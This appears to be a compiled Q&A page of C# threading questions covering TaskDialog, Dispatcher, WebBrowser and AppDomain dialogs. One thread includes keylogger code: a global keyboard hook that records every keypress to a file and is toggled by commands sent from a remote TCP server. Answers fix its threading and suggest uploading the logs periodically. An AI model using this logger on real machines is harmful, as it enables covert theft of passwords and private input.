I have a WinForms application that makes use of a TaskDialog library that leverages the Vista style dialogs from ComCtl32.dll and for lesser OS's it uses an emulated win form...
But that's not the problem... This library works fine and we've never had issues with it. Until now... In deed if we launch a dialog under normal circumstances, then it looks fine.
However, I've added a drag-drop handler on my main form to capture file paths dropped from other sources (say Windows Explorer). If that drag-drop handler is the first time the dialog has been shown then we get the following exception:
Unable to find an entry point named 'TaskDialogIndirect' in DLL 'ComCtl32'.
This occurs on the third party library's call to:
/// <summary>
/// TaskDialogIndirect taken from commctl.h
/// </summary>
/// <param name="pTaskConfig">All the parameters about the Task Dialog to Show.</param>
/// <param name="pnButton">The push button pressed.</param>
/// <param name="pnRadioButton">The radio button that was selected.</param>
/// <param name="pfVerificationFlagChecked">The state of the verification checkbox on dismiss of the Task Dialog.</param>
[DllImport ( "ComCtl32", CharSet = CharSet.Unicode, PreserveSig = false )]
internal static extern void TaskDialogIndirect (
[In] ref TASKDIALOGCONFIG pTaskConfig,
[Out] out int pnButton,
[Out] out int pnRadioButton,
[Out] out bool pfVerificationFlagChecked );
If a dialog has already been shown, then the handler will run OK.
The DragDrop handler for the form does not show InvokeRequired and but I was careful to raise the dialog via Form.Invoke anyway.
private void MainForm_DragDrop(object sender, DragEventArgs e)
{
if (e.Data.GetDataPresent(DataFormats.FileDrop))
{
Array fileNames = (Array)e.Data.GetData(DataFormats.FileDrop);
if (fileNames != null && fileNames.OfType<string>().Any())
{
foreach (var fileName in fileNames.OfType<string>())
{
this.Invoke(new Action<string>(this.AttemptOpenFromPath), fileName);
}
}
}
}
As a side: I am compiling (and running) it on a 64-bit, Windows 7 machine but with the "AnyCPU" architecture flag.
Any thoughts/solutions as to why the exception is only raised when the first call to TaskDialogIndirect is via the DragDrop handler???
[DllImport ( "ComCtl32", ...)]
The library is taking a pretty heavy shortcut to use the comctl32.dll Windows dll. This tends to come to a good end by accident, but it falls over in your code. The full explanation is rather long-winded, I'll try to keep it short.
The core problem is that Windows has two versions of comctl32.dll. The one in c:\windows\system32 is a legacy version, implementing the common controls the way they looked and worked back in Windows 2000 and earlier. Windows XP acquired visual styles, making those controls look very different. There's another DLL that implements those visual styles, it is stored in the Windows side-by-side cache (c:\windows\winsxs).
An application must explicitly tell Windows that it supports the new version of the DLL. There are two ways to do it, you can do so in a manifest (the way WPF does it) or you can make an operating system call, the CreateActCtx() function (the way Winforms does it).
The way the library works is that it hopes that somebody has done one of those two things. And loaded the correct version of comctl32.dll so that pinvoking the [DllImport] function doesn't actually load the c:\windows\system32 version. The old one that doesn't implement TaskDialogIndirect(). This works by accident because some code usually does. And the fact that Windows only cares about the DLL name and not where it came from to determine if it needs to load a DLL.
I can somewhat guess how you ran out of luck. You are using Control.Invoke(), something you only ever need to do when you are using threads. Clearly you are displaying this form on another thread, not the main UI thread. This is in general a Really Bad Idea, the UI thread was already designed to be able to handle multiple windows. The one thing that didn't happen that normally happens on the UI thread is the Application.EnableVisualStyles() call. The one that tells Windows that you want the new version of comctl32.
You can try calling it on your worker thread. Might work, no idea. By far the best solution is to not create windows on worker threads. You can get rid of the wonky library by using the Windows API Code Pack, it provides a wrapper for task dialogs.
It turned out that within the DragDrop handler, I should be using BeginInvoke to asynchronously queue the call onto the Form's UI thread as opposed to synchronously waiting for it to complete within the handler...
Therefore, it was resolved with:
private void MainForm_DragDrop(object sender, DragEventArgs e)
{
if (e.Data.GetDataPresent(DataFormats.FileDrop))
{
Array fileNames = (Array)e.Data.GetData(DataFormats.FileDrop);
if (fileNames != null && fileNames.OfType<string>().Any())
{
foreach (var fileName in fileNames.OfType<string>())
{
this.BeginInvoke(new Action<string>(this.AttemptOpenFromPath), fileName);
}
}
}
}
I'm not sure why though!?? Can a commenter perhaps provide a reason?
Related
I've created an app which uses Observable Lists. I've made the ObservableList class threadsafe (I think) and it's working fine now in my application.
Now I'm trying to install my application as a service. This works fine as well, up untill the point something gets added to the list. I think the thread there just dies. I've got the following code:
/// <summary>
/// Creates a new empty ObservableList of the provided type.
/// </summary>
public ObservableList()
{
//Assign the current Dispatcher (owner of the collection)
_currentDispatcher = Dispatcher.CurrentDispatcher;
}
/// <summary>
/// Executes this action in the right thread
/// </summary>
///<param name="action">The action which should be executed</param>
private void DoDispatchedAction(Action action)
{
if (_currentDispatcher.CheckAccess())
action.Invoke();
else
_currentDispatcher.Invoke(DispatcherPriority.DataBind, action);
}
/// <summary>
/// Handles the event when a collection has changed.
/// </summary>
/// <param name="e"></param>
protected override void OnCollectionChanged(NotifyCollectionChangedEventArgs e)
{
DoDispatchedAction(() => base.OnCollectionChanged(e));
}
While debugging, I've seen the Collection.Add(object) being called. It starts the DoDispatchedAction function, and the last thing the debugger hits, is _currentDispatcher.Invoke(DispatcherPriority.DataBind, action);. After this, the application continues but the code after Collection.Add(object) doesn't get executed anymore. The code which initially added the item to an ObservableList doesn't continue neither. That's why I think the Thread dies or something like that.
When checking the action in the debugger, I found out that the following message was there:
ApartmentState = '_currentDispatcher.Thread.ApartmentState' threw an
exception of type 'System.Threading.ThreadStateException'
How can I solve this problem? Am I even thinking in the right direction?
As this is a hardware dependent service, this is a little bit different from the usual LOB-style application. The difference is: the changes which should trigger events come from the backend of the application, while the whole UI framework and service architecture is intended to be used so that the frontend asks for data which the backend provides.
You could bring the two together by creating some sort of "neutral ground" where they meet.
In the hardware handling component, I would have a background thread which runs continually or runs triggered by hardware interrupts, and updates its data structures with whatever data it collects from the hardware. Then, I would have a synchronized method which can create a consistent snapshot of the hardware data at the point of time when it is called.
In the WPF client, there would be a dispatcher timer which calls this method in set intervals and updates the ObservableCollections using the data snapshots. This is possible, because it would happen on the UI thread. Actually, if possible you should try to add and remove items from the ObservableCollections, not create new collection instances, unless the data in the collection changes completely from one call to the next.
The WCF client would only be a wrapper around the method which creates data snapshots: it would only send back such a snapshot when it is called.
The WPF client for the WCF service would work as the local WPF client, only it would call the service instead of the hardware library directly, and probably I'd choose a longer interval for the DispatcherTimer, in order to avoid excessive network traffic. You could further optimize this by returning a special code which means "nothing has changed", in order to avoid sending the same data several times, or have separate methods for asking whether data has changed and retrieving the changed data.
From what I understand, you have a core code that should run as a Windows service, and a WPF application that uses the same core code.
So basically you should have something like 3 projects in your solution:
a core assembly that does some hardware-related job
an executable that will be installed as a Windows service. This executable references the core assembly
a WPF application that also references the core assembly
Dispatchers are helpful to marshall back an action to the UI thread. This is basically used to execute some code in the UI thread in WPF applications. For example, when you bind a collection to a DataGrid, the CollectionChanged event must be fired on the UI thread because it'll cause, thanks to the binding, the UI to be updated. And UI must be updated from the UI thread.
Your core assembly shouldn't have to deal with dispatchers as there is no UI to update. You could use simple Collection here, as you won't bind it to any UI component. Same for your Windows service executable.
For your WPF application, on the other hand, you could use an ObservableCollection binded on a UI component (DataGrid for example). Only in this assembly you'll have to ensure UI components are always updated from the UI thread (which means you need the Dispatcher for that).
So, a code example:
Core assembly:
public IEnumerable<SomeClass> GetHardwareInfo()
{
return new List<SomeClass> { ... };
}
Windows Service executable:
internal static void Main(string[] args)
{
...
var objs = new MyCoreInstance().GetHardwareInfo();
...
}
WPF application (let's say it's the ViewModel):
// Some UI component is binded to this collection that is obersvable
public ObservableCollection<SomeClass> MyCol
{
get
{
return this.myCol;
}
set
{
if (this.myCol != value)
{
this.myCol = value;
this.RaisePropertyChanged("MyCol");
}
}
}
public void UpdateList()
{
var info = new MyCoreInstance().GetHardwareInfo();
// Now, marshall back to the UI thread to update the collection
Application.Current.Dispatcher.Invoke(() =>
{
this.MyCol = new ObservableCollection(info);
});
}
I have this library http://www.codeproject.com/KB/cs/globalhook.aspx
I've downloaded it and compiled it to DLL.
At first I had a weird problem that it haven't worked in my project, but it did (in the exact same code) worked in the demo project, but it was fixed by applying what the following message said:
http://www.codeproject.com/KB/cs/globalhook.aspx?msg=3505023#xx3505023xx
Note: I'm working with .NET 4, VS 2010 Ultimate
Well, I have a file Form1.cs, which is my main form for my app.
I have other files: Client.cs, Script.cs, Keylogger.cs - no, it's not an evil keylogger - It's for a school presentation about security\antiviruses etc.
Keylogger.cs has one static class and here's the code:
public static class Keylogger
{
static private StreamWriter sw = null;
static private System.Timers.Timer t = null;
static public bool Started = false;
static public void Start(string Location)
{
Started = true;
sw = new StreamWriter(Location, true, Encoding.Default, 1);
HookManager.KeyPress += HookManager_KeyPress;
t = new System.Timers.Timer(3600000);
t.Elapsed += (object sender, System.Timers.ElapsedEventArgs e) => sw.WriteLine(Environment.NewLine + "1 HOUR PASSED");
t.Start();
}
static public void Stop()
{
if (!Started)
throw new Exception("Keylogger is not operating at the moment.");
Started = false;
HookManager.KeyPress -= HookManager_KeyPress;
t.Dispose();
sw.Dispose();
}
static private void HookManager_KeyPress(object sender, KeyPressEventArgs e)
{
if (e.KeyChar == 8)
sw.Write("{BACKSPACE}");
else
sw.Write(e.KeyChar);
}
}
The Client class isn't static - it manages a TCP connections with a server, and send all received data to Script.RunScript(string scr) (static method).
Well, Script.RunScript should invoke Keylogger.Start(string location) for some input (STARTLOGGING c:\log.txt)
And invoke Keylogger.Stop() for some input (STOPLOGGING)
Well, everything is good, it invokes Start, but it doesn't work.
It does the whole process, (timer, event, streamwriter etc) but when I press something - the whole computer freeze for a couple of seconds and nothing happened (it doesn't even invoke KeyPress) - it happens only the first time. any other time - it simply ignores my keypress.
THE FUNNY THING IS - if I call Start from my mainform (in the ctor, on a button click event) - IT DOES WORK ! without any lag.
I did try different events (MouseDoubleClick, MouseMove) and all had the same problem.
Thank you, Mark !
The delay followed by the UI getting responsive again is a strong sign of the underlying cause of the problem. You see Windows healing itself, noticing that the callback isn't being responsive. It automatically disables the hook.
The hard requirement you probably violate is that the SetWindowsHookEx() call must be made from a thread that pumps a message loop. So that Windows can break in on a keypress and call the callback. That works fine when you called the Start() method from a button click, the Click event runs on the UI thread of your program.
But probably not when you this call is made from a networking event. They tend to run on a threadpool thread. It isn't clear from your snippet, you didn't post the code. The generic fix for a problem like this is using Control.BeginInvoke() to marshal a call from a worker thread to the UI thread. You'll find a good description of it in the MSDN library article as well as many, many answers here at stackoverflow.com
Fwiw, the original code got broken due to changed behavior in the .NET 4 version of the CLR. It no longer fakes the native module for assemblies. The workaround is good enough, it only needs a valid module handle. The actual one doesn't matter since this is not a global hook.
I think your best bet is to not write to the network on UI events, but instead have your logger write to a local file or in-memory database or similar, and then have a timer that periodically writes the content of that message to the server. That way you can both send chunkier messages to the server (improving performance on both machines) as well as have the ability to run the network call on a background thread, which makes the UI feel snappier.
I have researched this a fair bit and cannot establish the correct approach. My problem is as follows: I have a winForms applications and from within it I wish to launch a time intesive .dll. I can do this using System.Reflection no problem like this
// Execute the method from the requested .dll using reflection (System.Reflection).
//[System.Runtime.InteropServices.DllImport(strDllPath)]
DLL = Assembly.LoadFrom(strDllPath);
classType = DLL.GetType(String.Format("{0}.{0}", ListUfCmdParams[1]));
classInst = Activator.CreateInstance(classType);
XmlExpInfo = classType.GetMethod(DllParams[0]);
XmlExpInfo.Invoke(classInst, paramObj);
// Return something.
return String.Format("Method '{0}' from '{1}{2}' successfully executed!",
ListUfCmdParams[2], ListUfCmdParams[1], strDotDll);
this works great but the process being called is so time intensive I want to display to the user what is happening. To do this I have included in the .dll file a WinForm which has a progressBar and some other attributes. When I do this I get an exception. This occurs when "Activator.CreateInstance()" attempts to do its work: MissingMethodException "Cannot create an abstract class". I have come across this error before when I using partial classes and I had to remove the "partial" keyword from my classes to enable the .dll to execute correctly (which I just about got away with!). I cannot remove this "partial" keyword from the above winForms class so, the question is "How do I call a winForm from within my .dll (if indeed it is possible)?" so that the .dll can show its progress as it executes from the calling application?
Thanks for your time,
Nick
Ps. I have read the following threads and they are somewhat ambiguous:
A DLL with WinForms that can be launched from A main app
et al.
You should not make a callee (the dll) aware of it's caller (the form). Instead you could enrich the class in your dll that performs the time intensive method with a ProgressUpdated event:
public event ProgressUpdatedHandler ProgressUpdated;
public delegate void ProgressUpdatedHandler(object sender, int stepsCompleted, int stepsTotal)
This way the form could simply assign a handler for that event, and the dll could raise the event whenever it can indicate what the progress is.
I have just seen this question again and thought I would update as to how I eventually did this.
In the end I found the following to be the most effective way of performing the above for what I wanted. First you launch a WinForm which holds your progress information. Second youu envoke your "worker" method from within the "Shown" event.
The code for the first part i.e. to call the WinForm using Reflection is provided below:
// Execute the method from the requested .dll using reflection (System.Reflection).
Assembly DLL = Assembly.LoadFrom(strDllPath);
Type classType = DLL.GetType(String.Format("{0}.{0}", strNsCn));
object classInst = Activator.CreateInstance(classType, paramObj);
Form dllWinForm = (Form)classInst;
dllWinForm.ShowDialog();
I hope this helps someone else.
I've been having a bunch of exceptions when trying to use a WebBrowser on a multithread application. COM component, protected memory and other exceptions everywhere I do stuff with the WebBrowser. I just gave up and went back to my single thread version which works fine. I would post code but it's hard to localize the cause of the problem when I get exceptions at so many spots. So, if as a single thread application it runs fine, and if when I run several instances of the same application it also works fine, there should be a way to simulate several applications running from a single application without having to actually make a separated application that I would run from the main application. My question, then, is how can I make Windows treat my threads as if they were different instances? This should eliminate the problem, since, as I said, when they ARE different instances I don't get any exception. Hope I'm being clear enough.
WebBrowser is a COM component under the hood, Internet Explorer. Like many COM components, it requires a 'single threaded apartment'. You have to create one to make it a hospitable home for the component. Basically two essential requirements: the thread needs to be initialized as an STA and it needs to pump a message loop.
Here's one that uses the plumbing provided by Windows Forms:
private void runBrowserThread(Uri url) {
var th = new Thread(() => {
var br = new WebBrowser();
br.DocumentCompleted += browser_DocumentCompleted;
br.Navigate(url);
Application.Run();
});
th.SetApartmentState(ApartmentState.STA);
th.Start();
}
void browser_DocumentCompleted(object sender, WebBrowserDocumentCompletedEventArgs e) {
var br = sender as WebBrowser;
if (br.Url == e.Url) {
Console.WriteLine("Natigated to {0}", e.Url);
Application.ExitThread();
}
}
Beware that the DocumentCompleted event gets raised on that worker thread. I arbitrarily used that event to also make the thread terminate.
I think your issue may have something to do with the way Microsoft.NET handles UI controls. Basically, any method for a control must be called from the thread that created it (perhaps even the main UI thread exclusively). Otherwise, you will get a bunch of access-related exceptions. I believe you will need to use the InvokeRequired property and Invoke method to call into the control, which also means that you will have to define a delgate function that wraps each method you want to call. Using the WebBroweser.Url property as an example, you could write something like this:
public delegate void SetWebAddressDelegate ( WebBrowser browser, Uri newUrl);
public void SetWebAddress ( WebBrowser browser, Uri newUrl )
{
if (browser.InvokeRequired)
browser.Invoke(new SetWebAddressDelegate(SetWebAddress), browser, newUrl);
else
browser.Url = newUrl;
}
It sounds like you might be sharing a single WebBrowser instance across threads. If each thread has its own instance, and the threads aren't communicating with each other, I would expect that to be equivalent to running multiple instances of the process.
I have a a C# (FFx 3.5) application that loads DLLs as plug-ins. These plug-ins are loaded in separate AppDomains (for lots of good reasons, and this architecture cannot change). This is all well and good.
I now have a requirement to show a Dialog from one of those plug-ins. Bear in mind that I cannot return the dialog Form to the main application and have it displayed there (the current infrastructure doesn't support it).
Failure 1
In my DLL I created a Form and called Show. The dialog outline showed up but did not paint and it doesn't respond to mouse events. I assumed that this is becasue the DLL is in a separate AppDomain and the message pump for the app is somehow unable to dispatch messages to the new Form.
Failure 2
In my DLL I created a Form and called ShowDialog, which by all rights should create an internal message pump for the dialog.. The dialog is displayed and responded to clicks (hooray), but it appears that the primary app no longer is processing or dispatching windows messages because it quits painting and no longer responds to mouse events. For some reason now it seems that the main app's message pump is not dispatching.
Failure 3
In my DLL I created a Form and called Application.Run. This will certainly create a complete second message pump. I get the same behavior as Failure 2 - the Dialog behaves, but the calling app does not.
Any thoughts on what exactly is going on here and how I might go about showing a dialog from the other AppDomain's DLL and have both the caller and the callee still respond and paint properly?
Try using appdomain1's main form's BeginInvoke with a delegate that displays the form from appdomain2. So in Pseudocode:
Appdomain1:
AppDomain2.DoSomething(myMainForm);
AppDomain2:
DoSomething(Form parent)
{
Form foolishForm = new Form();
parent.BeginInvoke(new Action( delegate { foolishForm.Show(); } ));
}
The code may not be perfect, but it demonstrates the concept.
By the way, if you are having problems passing forms around because of remoting you can:
public class Container<T> : MarshalByRefObject
{
private T _value;
public T Value { get { return _value; } set { _value = value; } }
public Container() { }
public Container(T value) { Value = value; }
public static implicit operator T(Container<T> container)
{
return container.Value;
}
}
That will contain object you throw at it.
We have a very similarly architected application that loads DLL files and plugins. Each DLL file is loaded in a separate application domain, which is created on a separate thread. We have a third-party control in a form that would not appear unless we call System.Windows.Forms.Application.DoEvents() regularly.
Pseudo code:
<In new thread>
<Application domain created. Start called inside new application domain.>
<Start loads new DLL file, calls init function in DLL file>
<Start loops, calling DoEvents until the DLL file exits>
<Application domain unloaded>
<Thread exits>
This solved all of our GUI issues.
One thing that I've used before is implementing a DomainManager. It's possible to customize the various application domain security/binding/context's to handle complex or chicken-egg type problems with respect to pumping your data where you want ;)
I've ususally done this from a native.exe, bootstrapping the CLR through the COM interfaces (psudo code but the order and method names are correct ;):
CorBindToRuntimeEx()
SetHostControl()
GetCLRControl()
SetAppDomainManagerType("yourdomainmanger","info")
// Domain manager set before starting runtime
Start()
HostControl -- GetDomainManagerForDefaultDomain()
DomainManager -- Run()
Your domain manager can be any CLR class library, so their's not that much more native C.
A side note, if you were in WPF; I really like using the "Microsoft.DwayneNeed.Controls" method. Where you may have disperate threads with their own Dispatcher pump in the same UI control (not needing to resort to entirely new Window()'s).
The unique thing about using this approach, is that even if the primary UI thread is blocked/busy (some heavy operation, scanning the filesystem, etc...), these other threads may paint/update their UIElement's without any hiccup.